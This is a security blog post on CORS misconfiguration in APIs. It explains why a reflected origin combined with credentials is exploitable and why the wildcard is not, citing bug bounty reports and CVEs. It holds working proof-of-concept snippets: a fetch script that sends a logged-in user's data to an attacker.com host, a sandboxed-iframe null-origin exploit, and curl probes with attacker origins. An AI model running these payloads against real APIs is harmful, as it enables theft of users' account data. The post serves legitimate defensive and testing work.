DEV Community

Davi
Davi

Posted on Originally published at blog.mago.team

CORS Misconfiguration in APIs: Why Reflected Origin Plus Credentials Is the Dangerous Pattern, Not Wildcard

The HackerOne report arrives labeled "critical". The description repeats the same pattern: the server reads the Origin header and returns it verbatim as Access-Control-Allow-Origin, with Access-Control-Allow-Credentials: true in the same response. The account was compromised by a two-kilobyte HTML page served from any domain. Every CORS guide the developer consulted before writing that code focused on the wildcard *.

The WHATWG Fetch specification, section 3.2.3, prohibits browsers from sending credentials with wildcard origins. * is safe by spec. The exploitable pattern in bug bounty reports is reflected origin with Access-Control-Allow-Credentials: true. That pair allows an attacker-controlled origin to read authenticated responses. Conflating the two patterns is why the second one keeps reaching production.

Why Access-Control-Allow-Origin: * Is Not the Problem

Section 3.2.3 of the WHATWG Fetch specification is precise. If the credentials flag is active and Access-Control-Allow-Origin is *, the browser returns a network error before exposing the response. JavaScript on the attacker's page never reads the content. The control is enforced at the browser layer, does not depend on server configuration, and cannot be bypassed by JavaScript on the attacker's page.

* with withCredentials=true fails during response processing. The browser checks the ACAO value and rejects the response before delivering it to the JavaScript of the requesting origin. This behavior has been specified since 2014 and is implemented in all current browsers without exception.

Guides that list * as the primarily dangerous pattern derive that classification from pentest checklists that flag any permissive CORS as a risk. The flag is not wrong, but the explanation omits the distinction that matters: * is permissive for reads without credentials, not for authenticated reads.

CVE-2024-25124 (Fiber, Go, CVSS 9.4) shows why the distinction matters in practice. The Fiber v2 middleware sent Access-Control-Allow-Origin: * simultaneously with Access-Control-Allow-Credentials: true, violating the spec. The real attack vector was not browsers: native HTTP clients, automation tools, and proxies like Burp Suite do not implement browser security restrictions. The misconfiguration was exploitable, but the vector differed from what any generic CORS guide described.

* without ACAC:true is harmless for browser-based credential theft attacks. The relevant attack surface begins when the server decides to reflect the attacker's request origin.

The Three Conditions That Make Reflected Origin Exploitable

For exploitation to work, three conditions must be present simultaneously in the response. Access-Control-Allow-Origin must contain the attacker's exact origin value. Access-Control-Allow-Credentials: true must be present. And Access-Control-Allow-Methods must include the method used in the request. Removing any one of the three stops the attack.

Reflected origin means the server reads the Origin header from the request and echoes it in Access-Control-Allow-Origin without validating the value. Without that validation, any origin the attacker controls appears as authorized in the response. The browser sees its own origin approved and exposes the response content to the JavaScript on the attacker's page.

HackerOne #1404986 (UPchieve): with no origin validation, any value was reflected with ACAC:true. Any site could issue authenticated requests on behalf of logged-in users and read complete API responses. HackerOne #758785 (Nord Security): the same pattern in the product of a security-specialized vendor. If Nord Security shipped this pattern to production, the risk does not discriminate by company category.

Exploitation requires only that the user visit the attacker's page while authenticated to the target API:

<script>
fetch('https://api.target.com/user', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/?d=' + JSON.stringify(d)));
</script>
Enter fullscreen mode Exit fullscreen mode

The browser sends the session cookie to the target API. The server reflects the attacker's origin with ACAC:true. Account data reaches the attacker's server in a separate request. The user notices nothing.

CVE-2025-55462 (Eramba v3.26.0, CVSS 6.5) documents the same pattern in risk and compliance management software. The /system-api/login and /system-api/user/me endpoints reflected any origin with ACAC:true. A product sold to compliance teams shipped reflected origin on its own authentication endpoints.

Null Origin: The Bypass That Works From Any Site

Browsers send Origin: null in specific situations: iframes with the sandbox attribute, the file:// protocol, and opaque origins generated by certain redirects. If the server treats the literal string "null" as a valid entry in the origin allowlist, any attacker can generate that header from any domain.

The mechanism is a sandboxed iframe hosted on the attacker's page:

<iframe sandbox="allow-scripts" srcdoc="
  <script>
    fetch('https://api.target.com/user', {credentials: 'include'})
      .then(r => r.json())
      .then(d => parent.postMessage(JSON.stringify(d), '*'));
  </script>
"></iframe>
Enter fullscreen mode Exit fullscreen mode

The iframe generates Origin: null. If the server responds with Access-Control-Allow-Origin: null and ACAC:true, the content is accessible via postMessage to the attacker's parent frame. The attack works from any domain without additional preconditions like subdomain takeover.

CVE-2024-47165 (Gradio): the localhost_aliases configuration included "null" to facilitate testing via file:// during local development. The same code reached production with the same behavior. ML APIs are disproportionately affected by this class of misconfiguration. FastAPI stacks with uvicorn frequently carry development configurations directly into production. Gradio is the most widely used model deployment framework in the Python ML ecosystem. The CVE documents that development-convenient configurations become attack vectors when the review process does not inspect trusted origin lists.

Four Patterns of Broken Validation

Suffix match: "//victim.com" in origin. HackerOne #426147 (Niche.co): the server checked whether the string "//niche.co" was a substring of the received Origin header. A request with Origin: https://niche.co.evil.net passes the check because "//niche.co" is a substring of "//niche.co.evil.net". The PoC used XMLHttpRequest with withCredentials=true and exfiltrated the complete user object to an external server.

Prefix match: origin.startsWith("https://victim.com"). An attacker registers victim.com.attacker.com and the request passes without interruption. The string starts with the expected prefix and no additional check exists.

Unanchored regex: the pattern victim\.com matches victim.com.evil.net because the expression is not anchored with ^ and $. The pattern victim.com without escaping the dot matches victimXcom because . in regex represents any character. Both errors appear frequently in manually written validations.

CVE-2026-54290 (Hono, CVSS 7.1) is the extreme case: credentials:true configured in the middleware with no explicit origin value. The middleware reflected any value received in the Origin header with ACAC:true. There was no broken validation pattern: there was a complete absence of validation, and the framework's default behavior was to reflect.

The fix is an exact-string allowlist, compared after scheme normalization and trailing slash removal. Any heuristic approach introduces variations that produce false negatives against attacker-controlled inputs.

The Two-Request Probe: No Scanner Required

The Vary: Origin header in a response indicates the server alters its behavior based on the request origin. Its presence signals active CORS logic and justifies probing with origins outside the expected allowlist.

Request 1: add Origin: https://attacker-test.com to any authenticated request. Check whether the response contains both Access-Control-Allow-Origin: https://attacker-test.com and Access-Control-Allow-Credentials: true. Request 2: replace with the string null. Check whether the server mirrors null with ACAC:true in the same response.

curl -s -I \
  -H "Origin: https://attacker.com" \
  -H "Cookie: session=YOUR_TOKEN" \
  https://api.target.com/endpoint \
  | grep -i "access-control"

curl -s -I \
  -H "Origin: null" \
  -H "Cookie: session=YOUR_TOKEN" \
  https://api.target.com/endpoint \
  | grep -i "access-control"
Enter fullscreen mode Exit fullscreen mode

If either returns the exact origin value sent alongside ACAC:true, the endpoint is exploitable. Confirming the misconfiguration requires two requests and grep. The full proof of concept comes later, but triage happens here.

Framework Fingerprinting to Prioritize the Probe

X-Powered-By: Fiber indicates versions before the CVE-2024-25124 patch (Fiber prior to 2.52.1). Hono response header patterns in TypeScript APIs indicate the CVE-2026-54290 profile: middleware with credentials:true and no origin validation. server: uvicorn without a CORS middleware configured indicates a complete absence of origin control.

Gradio endpoints (/api/predict, /upload, /queue/join) have CVE-2024-47165 as a direct reference. Null origin should be the first probe against any publicly exposed Gradio deployment, before any other validation pattern.

The tech_detector spell (MAGO team tool) identifies the API framework. It flags stacks with documented permissive CORS from passive header observation, without sending active probes.

The Vary: Origin header signals that the server makes decisions based on your origin. The probe reveals which decision it makes for the attacker's origin.

Top comments (0)